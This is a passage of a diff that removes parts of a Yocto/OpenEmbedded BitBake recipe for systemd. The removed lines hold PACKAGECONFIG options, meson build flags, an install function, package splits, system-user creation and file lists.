- ${@bb.utils.contains('DISTRO_FEATURES', 'wifi', 'rfkill', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'xkbcommon', '', d)} \
- backlight \
- binfmt \
- gshadow \
- hibernate \
- hostnamed \
- idn \
- ima \
- kmod \
- localed \
- logind \
- machined \
- myhostname \
- networkd \
- nss \
- nss-mymachines \
- nss-resolve \
- quotacheck \
- randomseed \
- resolved \
- set-time-epoch \
- sysusers \
- sysvinit \
- timedated \
- timesyncd \
- userdb \
- utmp \
- vconsole \
- xz \
-"
-
-PACKAGECONFIG_remove_libc-musl = " \
- gshadow \
- idn \
- localed \
- myhostname \
- nss \
- nss-mymachines \
- nss-resolve \
- sysusers \
- userdb \
- utmp \
-"
-
-CFLAGS_append_libc-musl = " -D__UAPI_DEF_ETHHDR=0 "
-
-# Use the upstream systemd serial-getty@.service and rely on
-# systemd-getty-generator instead of using the OE-core specific
-# systemd-serialgetty.bb - not enabled by default.
-PACKAGECONFIG[serial-getty-generator] = ""
-
-PACKAGECONFIG[acl] = "-Dacl=true,-Dacl=false,acl"
-PACKAGECONFIG[audit] = "-Daudit=true,-Daudit=false,audit"
-PACKAGECONFIG[backlight] = "-Dbacklight=true,-Dbacklight=false"
-PACKAGECONFIG[binfmt] = "-Dbinfmt=true,-Dbinfmt=false"
-PACKAGECONFIG[bzip2] = "-Dbzip2=true,-Dbzip2=false,bzip2"
-PACKAGECONFIG[cgroupv2] = "-Ddefault-hierarchy=unified,-Ddefault-hierarchy=hybrid"
-PACKAGECONFIG[coredump] = "-Dcoredump=true,-Dcoredump=false"
-PACKAGECONFIG[cryptsetup] = "-Dlibcryptsetup=true,-Dlibcryptsetup=false,cryptsetup"
-PACKAGECONFIG[dbus] = "-Ddbus=true,-Ddbus=false,dbus"
-PACKAGECONFIG[efi] = "-Defi=true,-Defi=false"
-PACKAGECONFIG[gnu-efi] = "-Dgnu-efi=true -Defi-libdir=${STAGING_LIBDIR} -Defi-includedir=${STAGING_INCDIR}/efi,-Dgnu-efi=false,gnu-efi"
-PACKAGECONFIG[elfutils] = "-Delfutils=true,-Delfutils=false,elfutils"
-PACKAGECONFIG[firstboot] = "-Dfirstboot=true,-Dfirstboot=false"
-# Sign the journal for anti-tampering
-PACKAGECONFIG[gcrypt] = "-Dgcrypt=true,-Dgcrypt=false,libgcrypt"
-PACKAGECONFIG[gnutls] = "-Dgnutls=true,-Dgnutls=false,gnutls"
-PACKAGECONFIG[gshadow] = "-Dgshadow=true,-Dgshadow=false"
-PACKAGECONFIG[hibernate] = "-Dhibernate=true,-Dhibernate=false"
-PACKAGECONFIG[hostnamed] = "-Dhostnamed=true,-Dhostnamed=false"
-PACKAGECONFIG[idn] = "-Didn=true,-Didn=false"
-PACKAGECONFIG[ima] = "-Dima=true,-Dima=false"
-# importd requires curl/xz/zlib/bzip2/gcrypt
-PACKAGECONFIG[importd] = "-Dimportd=true,-Dimportd=false"
-# Update NAT firewall rules
-PACKAGECONFIG[iptc] = "-Dlibiptc=true,-Dlibiptc=false,iptables"
-PACKAGECONFIG[journal-upload] = "-Dlibcurl=true,-Dlibcurl=false,curl"
-PACKAGECONFIG[kmod] = "-Dkmod=true,-Dkmod=false,kmod"
-PACKAGECONFIG[ldconfig] = "-Dldconfig=true,-Dldconfig=false,,ldconfig"
-PACKAGECONFIG[libidn] = "-Dlibidn=true,-Dlibidn=false,libidn"
-PACKAGECONFIG[libidn2] = "-Dlibidn2=true,-Dlibidn2=false,libidn2"
-PACKAGECONFIG[localed] = "-Dlocaled=true,-Dlocaled=false"
-PACKAGECONFIG[logind] = "-Dlogind=true,-Dlogind=false"
-PACKAGECONFIG[lz4] = "-Dlz4=true,-Dlz4=false,lz4"
-PACKAGECONFIG[machined] = "-Dmachined=true,-Dmachined=false"
-PACKAGECONFIG[manpages] = "-Dman=true,-Dman=false,libxslt-native xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
-PACKAGECONFIG[microhttpd] = "-Dmicrohttpd=true,-Dmicrohttpd=false,libmicrohttpd"
-PACKAGECONFIG[myhostname] = "-Dnss-myhostname=true,-Dnss-myhostname=false,,libnss-myhostname"
-PACKAGECONFIG[networkd] = "-Dnetworkd=true,-Dnetworkd=false"
-PACKAGECONFIG[nss] = "-Dnss-systemd=true,-Dnss-systemd=false"
-PACKAGECONFIG[nss-mymachines] = "-Dnss-mymachines=true,-Dnss-mymachines=false"
-PACKAGECONFIG[nss-resolve] = "-Dnss-resolve=true,-Dnss-resolve=false"
-PACKAGECONFIG[openssl] = "-Dopenssl=true,-Dopenssl=false,openssl"
-PACKAGECONFIG[pam] = "-Dpam=true,-Dpam=false,libpam,${PAM_PLUGINS}"
-PACKAGECONFIG[pcre2] = "-Dpcre2=true,-Dpcre2=false,libpcre2"
-PACKAGECONFIG[polkit] = "-Dpolkit=true,-Dpolkit=false"
-PACKAGECONFIG[portabled] = "-Dportabled=true,-Dportabled=false"
-PACKAGECONFIG[qrencode] = "-Dqrencode=true,-Dqrencode=false,qrencode"
-PACKAGECONFIG[quotacheck] = "-Dquotacheck=true,-Dquotacheck=false"
-PACKAGECONFIG[randomseed] = "-Drandomseed=true,-Drandomseed=false"
-PACKAGECONFIG[resolved] = "-Dresolve=true,-Dresolve=false"
-PACKAGECONFIG[rfkill] = "-Drfkill=true,-Drfkill=false"
-# libseccomp is found in meta-security
-PACKAGECONFIG[seccomp] = "-Dseccomp=true,-Dseccomp=false,libseccomp"
-PACKAGECONFIG[selinux] = "-Dselinux=true,-Dselinux=false,libselinux,initscripts-sushell"
-PACKAGECONFIG[smack] = "-Dsmack=true,-Dsmack=false"
-PACKAGECONFIG[sysusers] = "-Dsysusers=true,-Dsysusers=false"
-PACKAGECONFIG[sysvinit] = "-Dsysvinit-path=${sysconfdir}/init.d -Dsysvrcnd-path=${sysconfdir},-Dsysvinit-path= -Dsysvrcnd-path=,,systemd-compat-units update-rc.d"
-# When enabled use reproducble build timestamp if set as time epoch,
-# or build time if not. When disabled, time epoch is unset.
-def build_epoch(d):
- epoch = d.getVar('SOURCE_DATE_EPOCH') or "-1"
- return '-Dtime-epoch=%d' % int(epoch)
-PACKAGECONFIG[set-time-epoch] = "${@build_epoch(d)},-Dtime-epoch=0"
-PACKAGECONFIG[timedated] = "-Dtimedated=true,-Dtimedated=false"
-PACKAGECONFIG[timesyncd] = "-Dtimesyncd=true,-Dtimesyncd=false"
-PACKAGECONFIG[usrmerge] = "-Dsplit-usr=false,-Dsplit-usr=true"
-PACKAGECONFIG[sbinmerge] = "-Dsplit-bin=false,-Dsplit-bin=true"
-PACKAGECONFIG[userdb] = "-Duserdb=true,-Duserdb=false"
-PACKAGECONFIG[utmp] = "-Dutmp=true,-Dutmp=false"
-PACKAGECONFIG[valgrind] = "-DVALGRIND=1,,valgrind"
-PACKAGECONFIG[vconsole] = "-Dvconsole=true,-Dvconsole=false,,${PN}-vconsole-setup"
-PACKAGECONFIG[xdg-autostart] = "-Dxdg-autostart=true,-Dxdg-autostart=false"
-# Verify keymaps on locale change
-PACKAGECONFIG[xkbcommon] = "-Dxkbcommon=true,-Dxkbcommon=false,libxkbcommon"
-PACKAGECONFIG[xz] = "-Dxz=true,-Dxz=false,xz"
-PACKAGECONFIG[zlib] = "-Dzlib=true,-Dzlib=false,zlib"
-
-# Helper variables to clarify locations. This mirrors the logic in systemd's
-# build system.
-rootprefix ?= "${root_prefix}"
-rootlibdir ?= "${base_libdir}"
-rootlibexecdir = "${rootprefix}/lib"
-
-# This links udev statically with systemd helper library.
-# Otherwise udev package would depend on systemd package (which has the needed shared library),
-# and always pull it into images.
-EXTRA_OEMESON += "-Dlink-udev-shared=false"
-
-EXTRA_OEMESON += "-Dnobody-user=nobody \
- -Dnobody-group=nobody \
- -Drootlibdir=${rootlibdir} \
- -Drootprefix=${rootprefix} \
- -Ddefault-locale=C \
- "
-
-# Hardcode target binary paths to avoid using paths from sysroot
-EXTRA_OEMESON += "-Dkexec-path=${sbindir}/kexec \
- -Dkmod-path=${base_bindir}/kmod \
- -Dmount-path=${base_bindir}/mount \
- -Dquotacheck-path=${sbindir}/quotacheck \
- -Dquotaon-path=${sbindir}/quotaon \
- -Dsulogin-path=${base_sbindir}/sulogin \
- -Dnologin-path=${base_sbindir}/nologin \
- -Dumount-path=${base_bindir}/umount"
-
-do_install() {
- meson_do_install
- install -d ${D}/${base_sbindir}
- if ${@bb.utils.contains('PACKAGECONFIG', 'serial-getty-generator', 'false', 'true', d)}; then
- # Provided by a separate recipe
- rm ${D}${systemd_unitdir}/system/serial-getty* -f
- fi
-
- # Provide support for initramfs
- [ ! -e ${D}/init ] && ln -s ${rootlibexecdir}/systemd/systemd ${D}/init
- [ ! -e ${D}/${base_sbindir}/udevd ] && ln -s ${rootlibexecdir}/systemd/systemd-udevd ${D}/${base_sbindir}/udevd
-
- install -d ${D}${sysconfdir}/udev/rules.d/
- install -d ${D}${sysconfdir}/tmpfiles.d
- for rule in $(find ${WORKDIR} -maxdepth 1 -type f -name "*.rules"); do
- install -m 0644 $rule ${D}${sysconfdir}/udev/rules.d/
- done
-
- install -m 0644 ${WORKDIR}/00-create-volatile.conf ${D}${sysconfdir}/tmpfiles.d/
-
- if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','true','false',d)}; then
- install -d ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/systemd-udevd
- sed -i s%@UDEVD@%${rootlibexecdir}/systemd/systemd-udevd% ${D}${sysconfdir}/init.d/systemd-udevd
- install -Dm 0755 ${S}/src/systemctl/systemd-sysv-install.SKELETON ${D}${systemd_unitdir}/systemd-sysv-install
- fi
-
- chown root:systemd-journal ${D}/${localstatedir}/log/journal
-
- # Delete journal README, as log can be symlinked inside volatile.
- rm -f ${D}/${localstatedir}/log/README
-
- # journal-remote creates this at start
- rm -rf ${D}/${localstatedir}/log/journal/remote
-
- install -d ${D}${systemd_unitdir}/system/graphical.target.wants
- install -d ${D}${systemd_unitdir}/system/multi-user.target.wants
- install -d ${D}${systemd_unitdir}/system/poweroff.target.wants
- install -d ${D}${systemd_unitdir}/system/reboot.target.wants
- install -d ${D}${systemd_unitdir}/system/rescue.target.wants
-
- # Create symlinks for systemd-update-utmp-runlevel.service
- if ${@bb.utils.contains('PACKAGECONFIG', 'utmp', 'true', 'false', d)}; then
- ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_unitdir}/system/graphical.target.wants/systemd-update-utmp-runlevel.service
- ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_unitdir}/system/multi-user.target.wants/systemd-update-utmp-runlevel.service
- ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_unitdir}/system/poweroff.target.wants/systemd-update-utmp-runlevel.service
- ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_unitdir}/system/reboot.target.wants/systemd-update-utmp-runlevel.service
- ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_unitdir}/system/rescue.target.wants/systemd-update-utmp-runlevel.service
- fi
-
- # this file is needed to exist if networkd is disabled but timesyncd is still in use since timesyncd checks it
- # for existence else it fails
- if [ -s ${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf ]; then
- ${@bb.utils.contains('PACKAGECONFIG', 'networkd', ':', 'sed -i -e "\$ad /run/systemd/netif/links 0755 root root -" ${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf', d)}
- fi
- if ! ${@bb.utils.contains('PACKAGECONFIG', 'resolved', 'true', 'false', d)}; then
- echo 'L! ${sysconfdir}/resolv.conf - - - - ../run/systemd/resolve/resolv.conf' >>${D}${exec_prefix}/lib/tmpfiles.d/etc.conf
- echo 'd /run/systemd/resolve 0755 root root -' >>${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf
- echo 'f /run/systemd/resolve/resolv.conf 0644 root root' >>${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf
- ln -s ../run/systemd/resolve/resolv.conf ${D}${sysconfdir}/resolv-conf.systemd
- else
- sed -i -e "s%^L! /etc/resolv.conf.*$%L! /etc/resolv.conf - - - - ../run/systemd/resolve/resolv.conf%g" ${D}${exec_prefix}/lib/tmpfiles.d/etc.conf
- ln -s ../run/systemd/resolve/resolv.conf ${D}${sysconfdir}/resolv-conf.systemd
- fi
- if ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'false', 'true', d)}; then
- rm ${D}${exec_prefix}/lib/tmpfiles.d/x11.conf
- rm -r ${D}${sysconfdir}/X11
- fi
-
- # If polkit is setup fixup permissions and ownership
- if ${@bb.utils.contains('PACKAGECONFIG', 'polkit', 'true', 'false', d)}; then
- if [ -d ${D}${datadir}/polkit-1/rules.d ]; then
- chmod 700 ${D}${datadir}/polkit-1/rules.d
- chown polkitd:root ${D}${datadir}/polkit-1/rules.d
- fi
- fi
-
- # create link for existing udev rules
- ln -s ${base_bindir}/udevadm ${D}${base_sbindir}/udevadm
-
- # duplicate udevadm for postinst script
- install -d ${D}${libexecdir}
- ln ${D}${base_bindir}/udevadm ${D}${libexecdir}/${MLPREFIX}udevadm
-
- # install default policy for presets
- # https://www.freedesktop.org/wiki/Software/systemd/Preset/#howto
- install -Dm 0644 ${WORKDIR}/99-default.preset ${D}${systemd_unitdir}/system-preset/99-default.preset
-
- # add a profile fragment to disable systemd pager with busybox less
- install -Dm 0644 ${WORKDIR}/systemd-pager.sh ${D}${sysconfdir}/profile.d/systemd-pager.sh
-}
-
-python populate_packages_prepend (){
- systemdlibdir = d.getVar("rootlibdir")
- do_split_packages(d, systemdlibdir, '^lib(.*)\.so\.*', 'lib%s', 'Systemd %s library', extra_depends='', allow_links=True)
-}
-PACKAGES_DYNAMIC += "^lib(udev|systemd|nss).*"
-
-PACKAGE_BEFORE_PN = "\
- ${PN}-gui \
- ${PN}-vconsole-setup \
- ${PN}-initramfs \
- ${PN}-analyze \
- ${PN}-kernel-install \
- ${PN}-rpm-macros \
- ${PN}-binfmt \
- ${PN}-zsh-completion \
- ${PN}-container \
- ${PN}-journal-gatewayd \
- ${PN}-journal-upload \
- ${PN}-journal-remote \
- ${PN}-extra-utils \
- ${PN}-udev-rules \
- udev \
- udev-hwdb \
-"
-
-SUMMARY_${PN}-container = "Tools for containers and VMs"
-DESCRIPTION_${PN}-container = "Systemd tools to spawn and manage containers and virtual machines."
-
-SUMMARY_${PN}-journal-gatewayd = "HTTP server for journal events"
-DESCRIPTION_${PN}-journal-gatewayd = "systemd-journal-gatewayd serves journal events over the network. Clients must connect using HTTP. The server listens on port 19531 by default."
-
-SUMMARY_${PN}-journal-upload = "Send journal messages over the network"
-DESCRIPTION_${PN}-journal-upload = "systemd-journal-upload uploads journal entries to a specified URL."
-
-SUMMARY_${PN}-journal-remote = "Receive journal messages over the network"
-DESCRIPTION_${PN}-journal-remote = "systemd-journal-remote is a command to receive serialized journal events and store them to journal files."
-
-SYSTEMD_PACKAGES = "${@bb.utils.contains('PACKAGECONFIG', 'binfmt', '${PN}-binfmt', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-gatewayd', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-remote', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'journal-upload', '${PN}-journal-upload', '', d)} \
-"
-SYSTEMD_SERVICE_${PN}-binfmt = "systemd-binfmt.service"
-
-USERADD_PACKAGES = "${PN} ${PN}-extra-utils \
- ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-gateway', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-remote', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'journal-upload', '${PN}-journal-upload', '', d)} \
-"
-GROUPADD_PARAM_${PN} = "-r systemd-journal"
-USERADD_PARAM_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'coredump', '--system -d / -M --shell /bin/nologin systemd-coredump;', '', d)}"
-USERADD_PARAM_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'networkd', '--system -d / -M --shell /bin/nologin systemd-network;', '', d)}"
-USERADD_PARAM_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'polkit', '--system --no-create-home --user-group --home-dir ${sysconfdir}/polkit-1 polkitd;', '', d)}"
-USERADD_PARAM_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'resolved', '--system -d / -M --shell /bin/nologin systemd-resolve;', '', d)}"
-USERADD_PARAM_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'timesyncd', '--system -d / -M --shell /bin/nologin systemd-timesync;', '', d)}"
-USERADD_PARAM_${PN}-extra-utils = "--system -d / -M --shell /bin/nologin systemd-bus-proxy"
-USERADD_PARAM_${PN}-journal-gateway = "--system -d / -M --shell /bin/nologin systemd-journal-gateway"
-USERADD_PARAM_${PN}-journal-remote = "--system -d / -M --shell /bin/nologin systemd-journal-remote"
-USERADD_PARAM_${PN}-journal-upload = "--system -d / -M --shell /bin/nologin systemd-journal-upload"
-
-FILES_${PN}-analyze = "${bindir}/systemd-analyze"
-
-FILES_${PN}-initramfs = "/init"
-RDEPENDS_${PN}-initramfs = "${PN}"
-
-FILES_${PN}-gui = "${bindir}/systemadm"
-
-FILES_${PN}-vconsole-setup = "${rootlibexecdir}/systemd/systemd-vconsole-setup \
- ${systemd_unitdir}/system/systemd-vconsole-setup.service \
- ${systemd_unitdir}/system/sysinit.target.wants/systemd-vconsole-setup.service"
-
-RDEPENDS_${PN}-kernel-install += "bash"
-FILES_${PN}-kernel-install = "${bindir}/kernel-install \
- ${sysconfdir}/kernel/ \
- ${exec_prefix}/lib/kernel \
- "
-FILES_${PN}-rpm-macros = "${exec_prefix}/lib/rpm \
- "
-
-FILES_${PN}-zsh-completion = "${datadir}/zsh/site-functions"
-
-FILES_${PN}-binfmt = "${sysconfdir}/binfmt.d/ \
- ${exec_prefix}/lib/binfmt.d \
- ${rootlibexecdir}/systemd/systemd-binfmt \
- ${systemd_unitdir}/system/proc-sys-fs-binfmt_misc.* \
- ${systemd_unitdir}/system/systemd-binfmt.service"
-RRECOMMENDS_${PN}-binfmt = "kernel-module-binfmt-misc"
-
-RRECOMMENDS_${PN}-vconsole-setup = "kbd kbd-consolefonts kbd-keymaps"
-
-
-FILES_${PN}-journal-gatewayd = "${rootlibexecdir}/systemd/systemd-journal-gatewayd \
- ${systemd_system_unitdir}/systemd-journal-gatewayd.service \
- ${systemd_system_unitdir}/systemd-journal-gatewayd.socket \
- ${systemd_system_unitdir}/sockets.target.wants/systemd-journal-gatewayd.socket \
- ${datadir}/systemd/gatewayd/browse.html \
- "
-SYSTEMD_SERVICE_${PN}-journal-gatewayd = "systemd-journal-gatewayd.socket"
-
-FILES_${PN}-journal-upload = "${rootlibexecdir}/systemd/systemd-journal-upload \
- ${systemd_system_unitdir}/systemd-journal-upload.service \
- ${sysconfdir}/systemd/journal-upload.conf \
- "
-SYSTEMD_SERVICE_${PN}-journal-upload = "systemd-journal-upload.service"
-
-FILES_${PN}-journal-remote = "${rootlibexecdir}/systemd/systemd-journal-remote \
- ${sysconfdir}/systemd/journal-remote.conf \
- ${systemd_system_unitdir}/systemd-journal-remote.service \
- ${systemd_system_unitdir}/systemd-journal-remote.socket \
- "
-SYSTEMD_SERVICE_${PN}-journal-remote = "systemd-journal-remote.socket"
-
-
-FILES_${PN}-container = "${sysconfdir}/dbus-1/system.d/org.freedesktop.import1.conf \
- ${sysconfdir}/dbus-1/system.d/org.freedesktop.machine1.conf \
- ${sysconfdir}/systemd/system/multi-user.target.wants/machines.target \
- ${base_bindir}/machinectl \
- ${bindir}/systemd-nspawn \
- ${nonarch_libdir}/systemd/import-pubring.gpg \
- ${systemd_system_unitdir}/busnames.target.wants/org.freedesktop.import1.busname \
- ${systemd_system_unitdir}/busnames.target.wants/org.freedesktop.machine1.busname \
- ${systemd_system_unitdir}/local-fs.target.wants/var-lib-machines.mount \
- ${systemd_system_unitdir}/machines.target.wants/var-lib-machines.mount \
- ${systemd_system_unitdir}/remote-fs.target.wants/var-lib-machines.mount \
- ${systemd_system_unitdir}/machine.slice \
- ${systemd_system_unitdir}/machines.target \
- ${systemd_system_unitdir}/org.freedesktop.import1.busname \
- ${systemd_system_unitdir}/org.freedesktop.machine1.busname \
- ${systemd_system_unitdir}/systemd-importd.service \
- ${systemd_system_unitdir}/systemd-machined.service \
- ${systemd_system_unitdir}/dbus-org.freedesktop.machine1.service \
- ${systemd_system_unitdir}/var-lib-machines.mount \
- ${rootlibexecdir}/systemd/systemd-import \
- ${rootlibexecdir}/systemd/systemd-importd \
- ${rootlibexecdir}/systemd/systemd-machined \
- ${rootlibexecdir}/systemd/systemd-pull \
- ${exec_prefix}/lib/tmpfiles.d/systemd-nspawn.conf \
- ${systemd_system_unitdir}/systemd-nspawn@.service \
- ${libdir}/libnss_mymachines.so.2 \
- ${datadir}/dbus-1/system-services/org.freedesktop.import1.service \
- ${datadir}/dbus-1/system-services/org.freedesktop.machine1.service \
- ${datadir}/dbus-1/system.d/org.freedesktop.import1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.machine1.conf \
- ${datadir}/polkit-1/actions/org.freedesktop.import1.policy \
- ${datadir}/polkit-1/actions/org.freedesktop.machine1.policy \
- "
-
-RRECOMMENDS_${PN}-container += "\
- ${PN}-journal-upload \
- ${PN}-journal-remote \
- ${PN}-journal-gatewayd \
- "
-
-FILES_${PN}-extra-utils = "\
- ${base_bindir}/systemd-escape \
- ${base_bindir}/systemd-inhibit \
- ${bindir}/systemd-detect-virt \
- ${bindir}/systemd-path \
- ${bindir}/systemd-run \
- ${bindir}/systemd-cat \
- ${bindir}/systemd-delta \
- ${bindir}/systemd-cgls \
- ${bindir}/systemd-cgtop \
- ${bindir}/systemd-stdio-bridge \
- ${base_bindir}/systemd-ask-password \
- ${base_bindir}/systemd-tty-ask-password-agent \
- ${systemd_unitdir}/system/systemd-ask-password-console.path \
- ${systemd_unitdir}/system/systemd-ask-password-console.service \
- ${systemd_unitdir}/system/systemd-ask-password-wall.path \
- ${systemd_unitdir}/system/systemd-ask-password-wall.service \
- ${systemd_unitdir}/system/sysinit.target.wants/systemd-ask-password-console.path \
- ${systemd_unitdir}/system/sysinit.target.wants/systemd-ask-password-wall.path \
- ${systemd_unitdir}/system/multi-user.target.wants/systemd-ask-password-wall.path \
- ${rootlibexecdir}/systemd/systemd-resolve-host \
- ${rootlibexecdir}/systemd/systemd-ac-power \
- ${rootlibexecdir}/systemd/systemd-activate \
- ${rootlibexecdir}/systemd/systemd-bus-proxyd \
- ${systemd_unitdir}/system/systemd-bus-proxyd.service \
- ${systemd_unitdir}/system/systemd-bus-proxyd.socket \
- ${rootlibexecdir}/systemd/systemd-socket-proxyd \
- ${rootlibexecdir}/systemd/systemd-reply-password \
- ${rootlibexecdir}/systemd/systemd-sleep \
- ${rootlibexecdir}/systemd/system-sleep \
- ${systemd_unitdir}/system/systemd-hibernate.service \
- ${systemd_unitdir}/system/systemd-hybrid-sleep.service \
- ${systemd_unitdir}/system/systemd-suspend.service \
- ${systemd_unitdir}/system/sleep.target \
- ${rootlibexecdir}/systemd/systemd-initctl \
- ${systemd_unitdir}/system/systemd-initctl.service \
- ${systemd_unitdir}/system/systemd-initctl.socket \
- ${systemd_unitdir}/system/sockets.target.wants/systemd-initctl.socket \
- ${rootlibexecdir}/systemd/system-generators/systemd-gpt-auto-generator \
- ${rootlibexecdir}/systemd/systemd-cgroups-agent \
-"
-
-FILES_${PN}-udev-rules = "\
- ${rootlibexecdir}/udev/rules.d/70-uaccess.rules \
- ${rootlibexecdir}/udev/rules.d/71-seat.rules \
- ${rootlibexecdir}/udev/rules.d/73-seat-late.rules \
- ${rootlibexecdir}/udev/rules.d/99-systemd.rules \
-"
-
-CONFFILES_${PN} = "${sysconfdir}/systemd/coredump.conf \
- ${sysconfdir}/systemd/journald.conf \
- ${sysconfdir}/systemd/logind.conf \
- ${sysconfdir}/systemd/networkd.conf \
- ${sysconfdir}/systemd/pstore.conf \
- ${sysconfdir}/systemd/resolved.conf \
- ${sysconfdir}/systemd/sleep.conf \
- ${sysconfdir}/systemd/system.conf \
- ${sysconfdir}/systemd/timesyncd.conf \
- ${sysconfdir}/systemd/user.conf \
-"
-
-FILES_${PN} = " ${base_bindir}/* \
- ${base_sbindir}/shutdown \
- ${base_sbindir}/halt \
- ${base_sbindir}/poweroff \
- ${base_sbindir}/runlevel \
- ${base_sbindir}/telinit \
- ${base_sbindir}/resolvconf \
- ${base_sbindir}/reboot \
- ${base_sbindir}/init \
- ${datadir}/dbus-1/services \
- ${datadir}/dbus-1/system-services \
- ${datadir}/polkit-1 \
- ${datadir}/${BPN} \
- ${datadir}/factory \
- ${sysconfdir}/dbus-1/ \
- ${sysconfdir}/modules-load.d/ \
- ${sysconfdir}/pam.d/ \
- ${sysconfdir}/profile.d/ \
- ${sysconfdir}/sysctl.d/ \
- ${sysconfdir}/systemd/ \
- ${sysconfdir}/tmpfiles.d/ \
- ${sysconfdir}/xdg/ \
- ${sysconfdir}/init.d/README \
- ${sysconfdir}/resolv-conf.systemd \
- ${sysconfdir}/X11/xinit/xinitrc.d/* \
- ${rootlibexecdir}/systemd/* \
- ${systemd_unitdir}/* \
- ${base_libdir}/security/*.so \
- /cgroup \
- ${bindir}/systemd* \
- ${bindir}/busctl \
- ${bindir}/coredumpctl \
- ${bindir}/localectl \
- ${bindir}/hostnamectl \
- ${bindir}/resolvectl \
- ${bindir}/timedatectl \
- ${bindir}/bootctl \
- ${exec_prefix}/lib/tmpfiles.d/*.conf \
- ${exec_prefix}/lib/systemd \
- ${exec_prefix}/lib/modules-load.d \
- ${exec_prefix}/lib/sysctl.d \
- ${exec_prefix}/lib/sysusers.d \
- ${exec_prefix}/lib/environment.d \
- ${localstatedir} \
- ${rootlibexecdir}/modprobe.d/systemd.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.timedate1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.locale1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.network1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.resolve1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.systemd1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.hostname1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.login1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.timesync1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.portable1.conf \
- "
-
-FILES_${PN}-dev += "${base_libdir}/security/*.la ${datadir}/dbus-1/interfaces/ ${sysconfdir}/rpm/macros.systemd"
-
-RDEPENDS_${PN} += "kmod dbus util-linux-mount util-linux-umount udev (= ${EXTENDPKGV}) systemd-udev-rules util-linux-agetty util-linux-fsck"
-RDEPENDS_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'serial-getty-generator', '', 'systemd-serialgetty', d)}"
-RDEPENDS_${PN} += "volatile-binds"
-
-RRECOMMENDS_${PN} += "systemd-extra-utils \
- udev-hwdb \
- e2fsprogs-e2fsck \
- kernel-module-autofs4 kernel-module-unix kernel-module-ipv6 kernel-module-sch-fq-codel \
- os-release \
- systemd-conf \
-"
-
-INSANE_SKIP_${PN} += "dev-so libdir"
-INSANE_SKIP_${PN}-dbg += "libdir"
-INSANE_SKIP_${PN}-doc += " libdir"
-
-RPROVIDES_udev = "hotplug"
-
-RDEPENDS_udev-hwdb += "udev"
-
-FILES_udev += "${base_sbindir}/udevd \
- ${rootlibexecdir}/systemd/network/99-default.link \
- ${rootlibexecdir}/systemd/systemd-udevd \
- ${rootlibexecdir}/udev/accelerometer \
- ${rootlibexecdir}/udev/ata_id \
- ${rootlibexecdir}/udev/cdrom_id \
- ${rootlibexecdir}/udev/collect \
- ${rootlibexecdir}/udev/fido_id \
- ${rootlibexecdir}/udev/findkeyboards \
- ${rootlibexecdir}/udev/keyboard-force-release.sh \
- ${rootlibexecdir}/udev/keymap \
- ${rootlibexecdir}/udev/mtd_probe \
- ${rootlibexecdir}/udev/scsi_id \
- ${rootlibexecdir}/udev/v4l_id \
- ${rootlibexecdir}/udev/keymaps \
- ${rootlibexecdir}/udev/rules.d/50-udev-default.rules \
- ${rootlibexecdir}/udev/rules.d/60-autosuspend.rules \
- ${rootlibexecdir}/udev/rules.d/60-autosuspend-chromiumos.rules \
- ${rootlibexecdir}/udev/rules.d/60-block.rules \
- ${rootlibexecdir}/udev/rules.d/60-cdrom_id.rules \
- ${rootlibexecdir}/udev/rules.d/60-drm.rules \
- ${rootlibexecdir}/udev/rules.d/60-evdev.rules \
- ${rootlibexecdir}/udev/rules.d/60-fido-id.rules \
- ${rootlibexecdir}/udev/rules.d/60-input-id.rules \
- ${rootlibexecdir}/udev/rules.d/60-persistent-alsa.rules \
- ${rootlibexecdir}/udev/rules.d/60-persistent-input.rules \
- ${rootlibexecdir}/udev/rules.d/60-persistent-storage.rules \
- ${rootlibexecdir}/udev/rules.d/60-persistent-storage-tape.rules \
- ${rootlibexecdir}/udev/rules.d/60-persistent-v4l.rules \
- ${rootlibexecdir}/udev/rules.d/60-sensor.rules \
- ${rootlibexecdir}/udev/rules.d/60-serial.rules \
- ${rootlibexecdir}/udev/rules.d/61-autosuspend-manual.rules \
- ${rootlibexecdir}/udev/rules.d/64-btrfs.rules \
- ${rootlibexecdir}/udev/rules.d/70-joystick.rules \
- ${rootlibexecdir}/udev/rules.d/70-mouse.rules \
- ${rootlibexecdir}/udev/rules.d/70-power-switch.rules \
- ${rootlibexecdir}/udev/rules.d/70-touchpad.rules \
- ${rootlibexecdir}/udev/rules.d/75-net-description.rules \
